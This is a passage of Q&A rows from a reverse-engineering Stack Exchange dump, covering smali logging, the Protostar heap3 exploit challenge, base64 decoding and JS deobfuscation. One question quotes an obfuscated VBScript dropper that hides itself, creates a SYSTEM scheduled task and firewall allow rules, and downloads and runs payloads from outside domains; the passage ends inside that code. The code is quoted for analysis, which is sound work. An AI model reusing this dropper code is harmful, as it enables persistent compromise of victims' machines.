  <row Id="23046" PostTypeId="1" CreationDate="2020-01-18T18:49:01.953" Score="1" ViewCount="2748" Body="&lt;p&gt;I am trying to logcat the parameters of a function in smali with my own function. I made a new Android studio project and wrote the function then used APKtool to retrieve the Smali file.&lt;/p&gt;&#xA;&lt;p&gt;This is my function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.method public userFunction(II)V&#xA;    .locals 2&#xA;    .param p1, &amp;quot;a&amp;quot;    # I&#xA;    .param p2, &amp;quot;b&amp;quot;    # I&#xA;&#xA;    .line 28&#xA;    invoke-static {p1}, Ljava/lang/Integer;-&amp;gt;toString(I)Ljava/lang/String;&#xA;&#xA;    move-result-object v0&#xA;&#xA;    const-string v1, &amp;quot;Message&amp;quot;&#xA;&#xA;    invoke-static {v1, v0}, Landroid/util/Log;-&amp;gt;d(Ljava/lang/String;Ljava/lang/String;)I&#xA;&#xA;    return-void&#xA;.end method&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you can see, it takes two integers and then logs one (forget for now that the other integer is unused).&lt;/p&gt;&#xA;&lt;p&gt;This is the Android studio code I used to write the above function in Java.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public void sendMessage(View view)&#xA;    {&#xA;        userFunction(3,2);&#xA;    }&#xA;&#xA;    public void userFunction(int a, int b)&#xA;    {&#xA;        Log.d(&amp;quot;Message&amp;quot;, Integer.toString(a));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now what I can't make sense of, is how to call this function in Smali. My problem may be that I am testing this within a button. The sendMessage is an Onclick method for testing purposes and all it does is perform the userfunction.&lt;/p&gt;&#xA;&lt;p&gt;My reasoning behind this is that the method call in Smali ends up being&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;invoke-virtual {p0, v0, v1}, Lcom/example/froggyfresh/MainActivity;-&amp;gt;userFunction(II)V&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From what I read, I believe the p0 to be the object calling the function. So I'm not sure how to call the function from within another method that is in the project I am trying to debug.&lt;/p&gt;&#xA;&lt;p&gt;Is there a work around for this, to create some generic function to log the values?&lt;/p&gt;&#xA;&lt;p&gt;The issue I get when using p0 in the APK I am trying to debug is APKtool gives me this error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;C:\Users\Dell\Desktop&amp;gt;apktool b base&lt;br /&gt;&#xA;I: Using Apktool 2.4.1&lt;br /&gt;&#xA;I: Checking whether sources has changed...&lt;br /&gt;&#xA;I: Smaling smali folder into classes.dex...&lt;br /&gt;&#xA;base\smali\funproject.smali[5059,1] Invalid register: v29. Must be between v0 and v15, inclusive.&lt;br /&gt;&#xA;Could not smali file: funproject.smali&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I know that the p0 is a parameter register and that the parameters are stored in the final v(insertnumberhere) register. So I can make sense of the error but not sure how to go about fixing the issue.&lt;/p&gt;&#xA;" OwnerUserId="30825" LastEditorUserId="30247" LastEditDate="2020-09-28T15:32:24.963" LastActivityDate="2020-09-28T15:32:24.963" Title="Adding my own logging function in Smali" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23047" PostTypeId="2" ParentId="23046" CreationDate="2020-01-18T20:10:56.567" Score="3" Body="&lt;p&gt;Just make your helper method a static method, and invoke it using invoke-static&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;invoke-static {v0, v1}, Lcom/example/froggyfresh/MainActivity;-&amp;gt;userFunction(II)V&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regarding the register out of range thing, you would need to do some register value shuffling using the move instructions to get the values you need into the lower 16 registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g., say that you have a register, v23 that is unused. You could move the value from one of the lower registers into v23, and then move the value of p0 into that lower register.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;move-object v2, v23&#xA;move-object p0, v2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then after the call, you would need to shuffle the original value of v2 back&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;move-object v23, v2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2020-01-18T20:10:56.567" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23048" PostTypeId="2" ParentId="23038" CreationDate="2020-01-18T20:46:22.590" Score="3" Body="&lt;p&gt;Not a vulnerability list by itself, but &#xA;&lt;a href=&quot;https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard&quot; rel=&quot;nofollow noreferrer&quot;&gt;SEI CERT C Coding Standard&lt;/a&gt; lists many “dangerous” code patterns which can be a source of vulnerabilities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The book &lt;em&gt;The Art of Software Security Assessment&lt;/em&gt; is a little old by now but still contains a lot of valuable advice. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-01-18T20:46:22.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23049" PostTypeId="2" ParentId="23030" CreationDate="2020-01-18T21:12:13.310" Score="5" Body="&lt;p&gt;The canonical source is the &lt;a href=&quot;https://developer.arm.com/docs/ddi0487/latest/arm-architecture-reference-manual-armv8-for-armv8-a-architecture-profile&quot; rel=&quot;noreferrer&quot;&gt;ARM Architecture Reference Manual&lt;/a&gt;. &#xA;If you prefer machine readable format, the  &lt;a href=&quot;https://developer.arm.com/architectures/cpu-architecture/a-profile/exploration-tools&quot; rel=&quot;noreferrer&quot;&gt;XML files are available too&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-01-18T21:12:13.310" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23051" PostTypeId="1" CreationDate="2020-01-19T05:51:41.080" Score="1" ViewCount="215" Body="&lt;p&gt;I am looking at the assembly code of a heap-overflow challenge (&lt;a href=&quot;https://exploit-exercises.lains.space/protostar/heap3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;heap3&lt;/a&gt; in Protostar) which uses a vulnerability of an old version of &lt;code&gt;dlmalloc&lt;/code&gt; to execute the exploit. Below is the assembler dump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x08048889 &amp;lt;main+0&amp;gt;:    push   ebp&#xA;0x0804888a &amp;lt;main+1&amp;gt;:    mov    ebp,esp&#xA;0x0804888c &amp;lt;main+3&amp;gt;:    and    esp,0xfffffff0&#xA;0x0804888f &amp;lt;main+6&amp;gt;:    sub    esp,0x20&#xA;0x08048892 &amp;lt;main+9&amp;gt;:    mov    DWORD PTR [esp],0x20&#xA;0x08048899 &amp;lt;main+16&amp;gt;:   call   0x8048ff2 &amp;lt;malloc&amp;gt;&#xA;0x0804889e &amp;lt;main+21&amp;gt;:   mov    DWORD PTR [esp+0x14],eax&#xA;0x080488a2 &amp;lt;main+25&amp;gt;:   mov    DWORD PTR [esp],0x20&#xA;0x080488a9 &amp;lt;main+32&amp;gt;:   call   0x8048ff2 &amp;lt;malloc&amp;gt;&#xA;0x080488ae &amp;lt;main+37&amp;gt;:   mov    DWORD PTR [esp+0x18],eax&#xA;0x080488b2 &amp;lt;main+41&amp;gt;:   mov    DWORD PTR [esp],0x20&#xA;0x080488b9 &amp;lt;main+48&amp;gt;:   call   0x8048ff2 &amp;lt;malloc&amp;gt;&#xA;0x080488be &amp;lt;main+53&amp;gt;:   mov    DWORD PTR [esp+0x1c],eax&#xA;0x080488c2 &amp;lt;main+57&amp;gt;:   mov    eax,DWORD PTR [ebp+0xc]&#xA;0x080488c5 &amp;lt;main+60&amp;gt;:   add    eax,0x4&#xA;0x080488c8 &amp;lt;main+63&amp;gt;:   mov    eax,DWORD PTR [eax]&#xA;0x080488ca &amp;lt;main+65&amp;gt;:   mov    DWORD PTR [esp+0x4],eax&#xA;0x080488ce &amp;lt;main+69&amp;gt;:   mov    eax,DWORD PTR [esp+0x14]&#xA;0x080488d2 &amp;lt;main+73&amp;gt;:   mov    DWORD PTR [esp],eax&#xA;0x080488d5 &amp;lt;main+76&amp;gt;:   call   0x8048750 &amp;lt;strcpy@plt&amp;gt;&#xA;0x080488da &amp;lt;main+81&amp;gt;:   mov    eax,DWORD PTR [ebp+0xc]&#xA;0x080488dd &amp;lt;main+84&amp;gt;:   add    eax,0x8&#xA;0x080488e0 &amp;lt;main+87&amp;gt;:   mov    eax,DWORD PTR [eax]&#xA;0x080488e2 &amp;lt;main+89&amp;gt;:   mov    DWORD PTR [esp+0x4],eax&#xA;0x080488e6 &amp;lt;main+93&amp;gt;:   mov    eax,DWORD PTR [esp+0x18]&#xA;0x080488ea &amp;lt;main+97&amp;gt;:   mov    DWORD PTR [esp],eax&#xA;0x080488ed &amp;lt;main+100&amp;gt;:  call   0x8048750 &amp;lt;strcpy@plt&amp;gt;&#xA;0x080488f2 &amp;lt;main+105&amp;gt;:  mov    eax,DWORD PTR [ebp+0xc]&#xA;0x080488f5 &amp;lt;main+108&amp;gt;:  add    eax,0xc&#xA;0x080488f8 &amp;lt;main+111&amp;gt;:  mov    eax,DWORD PTR [eax]&#xA;0x080488fa &amp;lt;main+113&amp;gt;:  mov    DWORD PTR [esp+0x4],eax&#xA;0x080488fe &amp;lt;main+117&amp;gt;:  mov    eax,DWORD PTR [esp+0x1c]&#xA;0x08048902 &amp;lt;main+121&amp;gt;:  mov    DWORD PTR [esp],eax&#xA;0x08048905 &amp;lt;main+124&amp;gt;:  call   0x8048750 &amp;lt;strcpy@plt&amp;gt;&#xA;0x0804890a &amp;lt;main+129&amp;gt;:  mov    eax,DWORD PTR [esp+0x1c]&#xA;0x0804890e &amp;lt;main+133&amp;gt;:  mov    DWORD PTR [esp],eax&#xA;0x08048911 &amp;lt;main+136&amp;gt;:  call   0x8049824 &amp;lt;free&amp;gt;&#xA;0x08048916 &amp;lt;main+141&amp;gt;:  mov    eax,DWORD PTR [esp+0x18]&#xA;0x0804891a &amp;lt;main+145&amp;gt;:  mov    DWORD PTR [esp],eax&#xA;0x0804891d &amp;lt;main+148&amp;gt;:  call   0x8049824 &amp;lt;free&amp;gt;&#xA;0x08048922 &amp;lt;main+153&amp;gt;:  mov    eax,DWORD PTR [esp+0x14]&#xA;0x08048926 &amp;lt;main+157&amp;gt;:  mov    DWORD PTR [esp],eax&#xA;0x08048929 &amp;lt;main+160&amp;gt;:  call   0x8049824 &amp;lt;free&amp;gt;&#xA;0x0804892e &amp;lt;main+165&amp;gt;:  mov    DWORD PTR [esp],0x804ac27&#xA;0x08048935 &amp;lt;main+172&amp;gt;:  call   0x8048790 &amp;lt;puts@plt&amp;gt;&#xA;0x0804893a &amp;lt;main+177&amp;gt;:  leave&#xA;0x0804893b &amp;lt;main+178&amp;gt;:  ret&#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now looking at the assembler dump what I can understand is &lt;code&gt;malloc()&lt;/code&gt; and &lt;code&gt;free()&lt;/code&gt; are linked to the binary statically, while &lt;code&gt;strcpy()&lt;/code&gt; and &lt;code&gt;puts()&lt;/code&gt; are linked using PLT. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to compile this program using it's source code, I get &lt;code&gt;malloc@plt&lt;/code&gt; and &lt;code&gt;free@plt&lt;/code&gt;, which when compiled on my local machine uses the wrong version of &lt;code&gt;dlmalloc&lt;/code&gt;. The challenge is compiled and placed on a Debian distribution which we have to boot up in order to try this challenge but I would like to try it on my local machine. Can someone explain how I will be able to compile it so that &lt;code&gt;malloc()&lt;/code&gt; and &lt;code&gt;free()&lt;/code&gt; are statically linked with the binary.&lt;/p&gt;&#xA;" OwnerUserId="30830" LastEditorUserId="53" LastEditDate="2020-01-20T14:10:24.247" LastActivityDate="2021-02-13T17:00:08.603" Title="Questions regarding PLT/GOT and statically linking" Tags="|binary-analysis|dynamic-linking|plt|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23054" PostTypeId="2" ParentId="3532" CreationDate="2020-01-19T18:24:54.810" Score="0" Body="&lt;p&gt;Since we're talking windows (and 5 years later) how about this: intall the program, go to the install dir and get the jar(s) from there. Now you can decompile the jar directly.&lt;/p&gt;&#xA;" OwnerUserId="30833" LastActivityDate="2020-01-19T18:24:54.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23055" PostTypeId="1" CreationDate="2020-01-19T20:41:01.970" Score="-1" ViewCount="180" Body="&lt;p&gt;While performing a file upload, a &lt;code&gt;template&lt;/code&gt; parameter is sent together with file. Service acts differently when different parameters are passed.&#xA;I need help to figure out what this parameter contains.&#xA;Here are two examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;7b0fc4f83d3fc320ef3865a1b472caeba3f0b60e09f257c61f34af77a7ff57adTB5QO8kXU18KUIgZGXblGYAOC7qbRzizHLGpGdUPbywggHncAkwJVe4M/0w7Dy9svucGrEgYbud0OY5iCFlTalho9j9SWzGMXlWjqU0wrFApBh+/Rqy8v93q1gBlpwLsuj7WBppuWItBmhoOyxkyKLv8Vm6AVVeXxndd4kklq+E=&lt;/code&gt; - allows uploading any file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;8849c262187451b5f558f4c2f150ec67efaafc192f51b1b8983754090e0c767bb+5SL0SVpqqHUB7zPYvNzEMSanK9r2uL7xUe/TK+9rofXD6gqQpsIKB2P7aECihmfEwEdQaLG6Kz3W5B1wiwxZRbdutdBbRYClAAoZ/bhaTdm2VnPBVZKuisi3cVVM91p2/pjb/qSPor7/026fq9PitSBizAtSbf858/BcTu7sw=H2pFMj+uoRaSnqqPdNbdrZzh3AF9H0uhagE9V7R6V8Ed67HFvGYS/Cg9DReGtlj1n1HtjpV14qqfYt5l/tVesG2B/Xh84tkr14t/RgTUA7cXwn3bWEWUcjxCFWlmAs2RXLs6g1Up3e/g4rolmGO8JAbFwRXWhFQQvZMx1+D5tjM=Tie6y7lK/q6Vlw9ssVYUYDP5Il5dYZxGPtkJSkaOPNGjkin81azLZFdtU7K6wUBcHYOoZzhthYdFMIK8K30UMGPMQI9/d4AKJsATT1PXaw/A1bjkMnapCdJl4IWGNs55IgHEs6mMPENlBuVodjQXJNodIkXOFa+I+q+MlGu0Rls=&lt;/code&gt; - allows uploading only images&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that this is a serialized object that contains upload configuration. Are there any ideas how to understand and maybe deserialize these strings?&lt;/p&gt;&#xA;" OwnerUserId="30847" OwnerDisplayName="ardabada" LastActivityDate="2020-01-20T13:09:50.277" Title="Help to understand what's inside base64 string" Tags="|python|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23056" PostTypeId="1" CreationDate="2020-01-19T21:33:20.010" Score="-1" ViewCount="1227" Body="&lt;p&gt;I came across a &lt;a href=&quot;https://github.com/bashi/kombu/blob/master/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;script&lt;/a&gt; that converts font files from one type to another (i.e. WOFF to TTF, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to understand it and incorporate some of the code into a personal project. The script was written in JS and uses Web Assembly and Web Workers. I am not at all familiar with Web Assembly or Web Workers, but I would like to at least understand what the JS is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was minified and unfortunately obfuscated. I unminified it, but I have no idea how to de-obfuscate it. I have never really reverse engineered something so elaborate like this before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools on the web that will at least try to de-obfuscate (i.e. assign placeholder names to single character variables, arguments, parameters, etc) the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other useful tools or anything else that I should know about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I just found &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/4562/30835&quot;&gt;this resource&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="30835" LastEditorUserId="30835" LastEditDate="2020-01-19T21:52:54.710" LastActivityDate="2020-01-20T22:02:12.663" Title="De-obfuscate JS code" Tags="|tools|file-format|obfuscation|deobfuscation|javascript|" AnswerCount="1" CommentCount="8" ClosedDate="2020-01-31T08:37:29.153" ContentLicense="CC BY-SA 4.0" />
  <row Id="23058" PostTypeId="2" ParentId="22793" CreationDate="2020-01-20T10:48:22.093" Score="1" Body="&lt;p&gt;try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;printf '\x31\x09\x32' | xargs python script.py&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-01-20T10:48:22.093" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23059" PostTypeId="1" CreationDate="2020-01-20T12:11:13.360" Score="0" ViewCount="442" Body="&lt;p&gt;Some actions of this script are clear e.g. the section that adds firewall rules, others not so much&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;On Error Resume Next&#xA;&#xA;F27&#xA;F10&#xA;A0&#xA;DBCF&#xA;&#xA;Sub F27()&#xA;    Dim E13C563AFCB34, C0009B48F34B, C8, BEBE2817704748838CC96E, B37C&#xA;    With CreateObject(&quot;WScript.Shell&quot;)&#xA;        C0009B48F34B = Replace(Mid(CreateObject(&quot;Scriptlet.TypeLib&quot;).Guid, 2, 36), &quot;-&quot;, &quot;&quot;)&#xA;        E13C563AFCB34 = .Environment(&quot;process&quot;)(&quot;appdata&quot;) &amp;amp; &quot;\&quot; &amp;amp; Replace(Mid(CreateObject(&quot;Scriptlet.TypeLib&quot;).Guid, 2, 36), &quot;-&quot;, &quot;&quot;) &amp;amp; &quot;\&quot;&#xA;        With CreateObject(&quot;Scripting.FileSystemObject&quot;)&#xA;            C8 = .GetParentFolderName(WScript.ScriptFullName) &amp;amp; &quot;\&quot;&#xA;            BEBE2817704748838CC96E = &quot;.&quot; &amp;amp; .GetExtensionName(WScript.ScriptFullName)&#xA;            EA E13C563AFCB34&#xA;            With .OpenTextFile(WScript.ScriptFullName, 1, False, -2) ' -2 - System default, -1 - Unicode, 0 - ASCII&#xA;                B37C = .ReadAll&#xA;                .Close&#xA;            End With&#xA;            If LCase(BEBE2817704748838CC96E) = &quot;.vbe&quot; Then&#xA;                B37C = B64C32BB17144(B37C)&#xA;                B37C = FA2(B37C)&#xA;                B37C = C87E(B37C)&#xA;            Else&#xA;                B37C = FA2(B37C)&#xA;            End If&#xA;            With .OpenTextFile(E13C563AFCB34 &amp;amp; C0009B48F34B &amp;amp; BEBE2817704748838CC96E, 2, True, -1)&#xA;                .Write B37C&#xA;                .Close&#xA;            End With&#xA;            .DeleteFile WScript.ScriptFullName, True&#xA;            With .GetFolder(C8)&#xA;                If .Files.Count = 0 And .SubFolders.Count = 0 Then&#xA;                    .Delete True&#xA;                End If&#xA;            End With&#xA;        End With&#xA;        .Run &quot;schtasks /create /ru system /tn WindowsTaskCoreUpdate /sc onstart /tr &quot;&quot;&quot; &amp;amp; E13C563AFCB34 &amp;amp; C0009B48F34B &amp;amp; BEBE2817704748838CC96E &amp;amp; &quot;&quot;&quot; /f /rl highest&quot;, 0, True&#xA;    End With&#xA;End Sub&#xA;&#xA;Sub EA(D9CC7)&#xA;    With CreateObject(&quot;Scripting.FileSystemObject&quot;)&#xA;        If Not .FolderExists(D9CC7) Then&#xA;            EA .GetParentFolderName(D9CC7)&#xA;            .CreateFolder D9CC7&#xA;            With .GetFolder(D9CC7)&#xA;                .Attributes = .Attributes Or 2&#xA;            End With&#xA;        End If&#xA;    End With &#xA;End Sub&#xA;&#xA;Sub F10()&#xA;    E306B &quot;WindowsIndexerCoreUpdate&quot;, WScript.FullName&#xA;End Sub&#xA;&#xA;Sub E306B(B2D50C09F74D4D98929, F442D4A1)&#xA;    With CreateObject(&quot;WScript.Shell&quot;)&#xA;        .Run &quot;netsh advfirewall firewall add rule name=&quot;&quot;&quot; &amp;amp; B2D50C09F74D4D98929 &amp;amp; &quot;&quot;&quot; dir=in action=allow description=&quot;&quot;&quot; &amp;amp; B2D50C09F74D4D98929 &amp;amp; &quot;&quot;&quot; program=&quot;&quot;&quot; &amp;amp; F442D4A1 &amp;amp; &quot;&quot;&quot; enable=yes&quot;, 0, True&#xA;        .Run &quot;netsh advfirewall firewall add rule name=&quot;&quot;&quot; &amp;amp; B2D50C09F74D4D98929 &amp;amp; &quot;&quot;&quot; dir=out action=allow description=&quot;&quot;&quot; &amp;amp; B2D50C09F74D4D98929 &amp;amp; &quot;&quot;&quot; program=&quot;&quot;&quot; &amp;amp; F442D4A1 &amp;amp; &quot;&quot;&quot; enable=yes&quot;, 0, True&#xA;    End With &#xA;End Sub&#xA;&#xA;Sub A0()&#xA;    Dim CECCA989&#xA;    Do&#xA;        For Each CECCA989 In Array(&quot;facebook.com&quot;, &quot;google.com&quot;, &quot;youtube.com&quot;, &quot;vk.com&quot;, &quot;yahoo.com&quot;, &quot;live.com&quot;, &quot;instagram.com&quot;)&#xA;            With GetObject(&quot;winmgmts:{impersonationLevel=Impersonate}!\\.\root\CIMV2:Win32_PingStatus.Address='&quot; &amp;amp; CECCA989 &amp;amp; &quot;'&quot;)&#xA;                Select Case True&#xA;                    Case IsNull(.StatusCode)&#xA;                    Case .StatusCode &amp;lt;&amp;gt; 0&#xA;                    Case Else Exit Sub&#xA;                End Select&#xA;            End  With&#xA;        Next&#xA;        WScript.Sleep 10000&#xA;    Loop&#xA;End Sub&#xA;&#xA;Sub DBCF()&#xA;    Dim CECCA989, F442D4A1, AEF, C&#xA;    F442D4A1 = CreateObject(&quot;WScript.Shell&quot;).Environment(&quot;process&quot;)(&quot;temp&quot;) &amp;amp; &quot;\steam.vbe&quot;&#xA;    For Each CECCA989 In Array(_&#xA;        &quot;http://gmfordown.com/game.log&quot;, _&#xA;        &quot;http://tor4games.com/steam.lock&quot;, _&#xA;        &quot;http://dvx2videofr.com/pack.dll&quot;)&#xA;        CE9FC81B15 CECCA989, F442D4A1, AEF, C&#xA;        If AEF = 200 And C = 0 Then Exit For&#xA;    Next&#xA;    If IsEmpty(CECCA989) Then Exit Sub&#xA;    If LCase(Right(F442D4A1, 4)) = &quot;.exe&quot; Then E306B &quot;WindowsGenericCoreUpdate&quot;, F442D4A1&#xA;    CreateObject(&quot;WScript.Shell&quot;).Run F442D4A1, 0, True&#xA;End Sub&#xA;&#xA;Sub CE9FC81B15(CECCA989, F442D4A1, AEF, C)&#xA;    Dim C5A1C339&#xA;    On Error Resume Next&#xA;    C = 0&#xA;    With CreateObject(&quot;MSXML2.XMLHTTP&quot;)&#xA;        .Open &quot;GET&quot;, CECCA989, False&#xA;        .Send&#xA;        AEF = .status&#xA;        If AEF &amp;lt;&amp;gt; 200 Then Exit Sub&#xA;        C5A1C339 = .responseBody&#xA;    End With&#xA;    C = Err.Number&#xA;    If C &amp;lt;&amp;gt; 0 Then Exit Sub&#xA;    With CreateObject(&quot;Scripting.FileSystemObject&quot;)&#xA;        If .FileExists(F442D4A1) Then .DeleteFile F442D4A1, True&#xA;    End With&#xA;    C = Err.Number&#xA;    If C &amp;lt;&amp;gt; 0 Then Exit Sub&#xA;    With CreateObject(&quot;ADODB.Stream&quot;)&#xA;        .Type = 1&#xA;        .Open&#xA;        .Write C5A1C339&#xA;        .SaveToFile F442D4A1, 2&#xA;        .Close&#xA;    End With&#xA;    C = Err.Number&#xA;End Sub&#xA;&#xA;Function FA2(ByVal D9FF4E5DA8)&#xA;&#xA;    Dim D9, CCD2479A6F784D5E9B13C7D, C01A, CD10282927844, C1, CA2C09B1068, DE, D3, E5, B1723AC3, CB59D564B, B39C9BDF&#xA;&#xA;    Set D9 = CreateObject(&quot;Scripting.Dictionary&quot;)&#xA;    Set CCD2479A6F784D5E9B13C7D = CreateObject(&quot;Scripting.Dictionary&quot;)&#xA;    Set C01A = CreateObject(&quot;Scripting.Dictionary&quot;)&#xA;    With New RegExp&#xA;        .IgnoreCase = True&#xA;        .Multiline = True&#xA;        .Pattern = &quot;(?:&quot;&quot;(?:&quot;&quot;&quot;&quot;|[^&quot;&quot;\n])*?&quot;&quot;(?!&quot;&quot;))&quot;&#xA;        CD10282927844 = 0&#xA;        Do&#xA;            Set C1 = .Execute(D9FF4E5DA8)&#xA;            If C1.Count = 0 Then Exit Do&#xA;            Do&#xA;                CA2C09B1068 = &quot;%&quot; &amp;amp; CD10282927844 &amp;amp; &quot;%&quot;&#xA;                If Instr(D9FF4E5DA8, CA2C09B1068) = 0 Then Exit Do&#xA;                CD10282927844 = CD10282927844 + 1&#xA;            Loop&#xA;            D9FF4E5DA8 = .Replace(D9FF4E5DA8, CA2C09B1068)&#xA;            CCD2479A6F784D5E9B13C7D(CA2C09B1068) = C1(0).Value&#xA;        Loop&#xA;        D9FF4E5DA8 = Replace(D9FF4E5DA8, &quot;:&quot;, vbCrLf &amp;amp; &quot;:&quot; &amp;amp; vbCrLf)&#xA;        .Global = True&#xA;        .Pattern = &quot;(\bthen )(.+)&quot;&#xA;        D9FF4E5DA8 = .Replace(D9FF4E5DA8, &quot;$1&quot; &amp;amp; vbCrLf &amp;amp; Chr(0) &amp;amp; vbCrLf &amp;amp; &quot;$2&quot;)&#xA;        .Pattern = &quot;^[ \t]*(?:(?:private|public|public[ \t]+default)[ \t]+)?(?:function|sub|property[ \t]+(?:let|set|get))[ \t]+([a-z]\w*)[ \t]*\((.*)\)[ \t]*(?:$|'.*$)&quot;&#xA;        For Each DE In .Execute(D9FF4E5DA8)&#xA;            D9(DE.SubMatches(0)) = &quot;&quot;&#xA;            D3 = DE.SubMatches(1)&#xA;            With New RegExp&#xA;                .Global = True&#xA;                .IgnoreCase = True&#xA;                .Pattern = &quot;(?:\b(?:byval|byref)[ \t]+)?([a-z]\w*)[ \t]*&quot;&#xA;                For Each E5 In .Execute(D3)&#xA;                    D9(E5.SubMatches(0)) = &quot;&quot;&#xA;                Next&#xA;            End With&#xA;        Next&#xA;        .Pattern = &quot;^[ \t]*(?:dim|redim[ \t]+preserve|redim)[ \t]+(.*?)[ \t]*(?:$|'.*$)&quot;&#xA;        For Each DE In .Execute(D9FF4E5DA8)&#xA;            D3 = DE.SubMatches(0)&#xA;            With New RegExp&#xA;                .Global = True&#xA;                .IgnoreCase = True&#xA;                .Pattern = &quot;\([^\(]*?\)&quot;&#xA;                Do While .Test(D3)&#xA;                    D3 = .Replace(D3, &quot;&quot;)&#xA;                Loop&#xA;            End With&#xA;            For Each B1723AC3 In Split(D3, &quot;,&quot;)&#xA;                D9(Trim(B1723AC3)) = &quot;&quot;&#xA;            Next&#xA;        Next&#xA;        .Pattern = &quot;^[ \t]*class[ \t]+([a-z]\w*)[ \t]*(?:$|'.*$)&quot;&#xA;        For Each DE In .Execute(D9FF4E5DA8)&#xA;            D9(DE.SubMatches(0)) = &quot;&quot;&#xA;        Next&#xA;        .Pattern = &quot;^[ \t]*for[ \t]+each[ \t]+([a-z]\w*)[ \t]+in[ \t]+.+(?:$|'.*$)&quot;&#xA;        For Each DE In .Execute(D9FF4E5DA8)&#xA;            D9(DE.SubMatches(0)) = &quot;&quot;&#xA;        Next&#xA;        .Pattern = &quot;^[ \t]*for[ \t]+([a-z]\w*)[ \t]*\=[ \t]*.+(?:$|'.*$)&quot;&#xA;        For Each DE In .Execute(D9FF4E5DA8)&#xA;            D9(DE.SubMatches(0)) = &quot;&quot;&#xA;        Next&#xA;        .Pattern = &quot;^[ \t]*(?:(?:set|const)[ \t]+)?([a-z]\w*)[ \t]\=[ \t]*.+(?:$|'.*$)&quot;&#xA;        For Each DE In .Execute(D9FF4E5DA8)&#xA;            D9(DE.SubMatches(0)) = &quot;&quot;&#xA;        Next&#xA;        D9FF4E5DA8 = Replace(D9FF4E5DA8, vbCrLf &amp;amp; Chr(0) &amp;amp; vbCrLf, &quot;&quot;)&#xA;        D9FF4E5DA8 = Replace(D9FF4E5DA8, vbCrLf &amp;amp; &quot;:&quot; &amp;amp; vbCrLf, &quot;:&quot;)&#xA;        Randomize&#xA;        CD10282927844 = 0&#xA;        C01A(&quot;&quot;) = &quot;&quot;&#xA;        For Each CB59D564B In D9&#xA;            .Pattern = &quot;\b&quot; &amp;amp; CB59D564B &amp;amp; &quot;\b&quot;&#xA;            Do&#xA;                B39C9BDF = Left(Replace(Mid(CreateObject(&quot;Scriptlet.TypeLib&quot;).Guid, 2, 36), &quot;-&quot;, &quot;&quot;), 32 * Rnd * Rnd ^ 8 + 1)&#xA;                Do While IsNumeric(Left(B39C9BDF, 1))&#xA;                    B39C9BDF = Mid(B39C9BDF, 2)&#xA;                Loop&#xA;                If Not (C01A.Exists(B39C9BDF) Or D9.Exists(B39C9BDF)) Then&#xA;                    C01A(B39C9BDF) = &quot;&quot;&#xA;                    Exit Do&#xA;                End If&#xA;            Loop&#xA;            D9FF4E5DA8 = .Replace(D9FF4E5DA8, B39C9BDF)&#xA;            D9(CB59D564B) = B39C9BDF&#xA;            CD10282927844 = CD10282927844 + 1&#xA;        Next&#xA;        .Global = False&#xA;        .Pattern = &quot;(\bgetref[ \t]*\([ \t]*)(%\d+%)([ \t]*\))&quot;&#xA;        Do&#xA;            Set C1 = .Execute(D9FF4E5DA8)&#xA;            If C1.Count = 0 Then Exit Do&#xA;            CA2C09B1068 = C1(0).SubMatches(1)&#xA;            CB59D564B = CCD2479A6F784D5E9B13C7D(CA2C09B1068)&#xA;            CB59D564B = Mid(CB59D564B, 2, Len(CB59D564B) - 2)&#xA;            If D9.Exists(CB59D564B) 